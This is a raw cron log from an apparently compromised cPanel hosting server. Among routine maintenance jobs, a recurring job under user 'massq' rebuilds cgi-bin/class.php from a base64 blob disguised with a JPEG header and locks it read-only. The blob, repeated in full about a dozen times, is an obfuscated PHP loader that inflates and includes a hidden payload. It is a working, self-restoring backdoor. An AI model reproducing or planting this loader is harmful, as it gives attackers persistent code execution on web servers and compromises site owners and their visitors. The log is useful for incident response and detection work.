444 "$fp")
Sep 10 16:21:01 server CROND[24298]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:21:01 server CROND[24299]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 16:22:01 server CROND[24670]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 16:22:01 server CROND[24669]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:22:01 server CROND[24671]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:23:01 server CROND[25047]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:23:01 server CROND[25046]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 16:23:01 server CROND[25048]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:24:01 server CROND[25423]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 16:24:01 server CROND[25424]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:24:01 server CROND[25425]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:25:01 server CROND[25898]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 16:25:01 server CROND[25903]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 16:25:01 server CROND[25906]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:25:01 server CROND[25908]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 10 16:25:01 server CROND[25907]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 16:25:01 server CROND[25905]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 16:25:01 server CROND[25904]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:25:01 server CROND[25911]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 16:26:01 server CROND[26740]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:26:01 server CROND[26741]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 16:26:01 server CROND[26742]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:27:01 server CROND[27185]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:27:01 server CROND[27183]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 16:27:01 server CROND[27186]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 16:27:01 server CROND[27184]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:28:01 server CROND[27563]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:28:01 server CROND[27564]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 16:28:01 server CROND[27565]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:29:01 server CROND[27936]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 16:29:01 server CROND[27937]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:29:01 server CROND[27938]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:30:01 server CROND[28419]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 16:30:01 server CROND[28420]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 16:30:01 server CROND[28425]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep 10 16:30:01 server CROND[28441]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:30:01 server CROND[28444]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 16:30:01 server CROND[28442]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:30:01 server CROND[28438]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 16:30:01 server CROND[28439]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 16:30:01 server CROND[28440]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 16:31:01 server CROND[29256]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:31:01 server CROND[29257]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:31:01 server CROND[29258]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 16:32:01 server CROND[29626]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:32:01 server CROND[29627]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 16:32:01 server CROND[29629]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:33:01 server CROND[30008]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 16:33:01 server CROND[30009]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:33:01 server CROND[30010]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:34:01 server CROND[30390]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
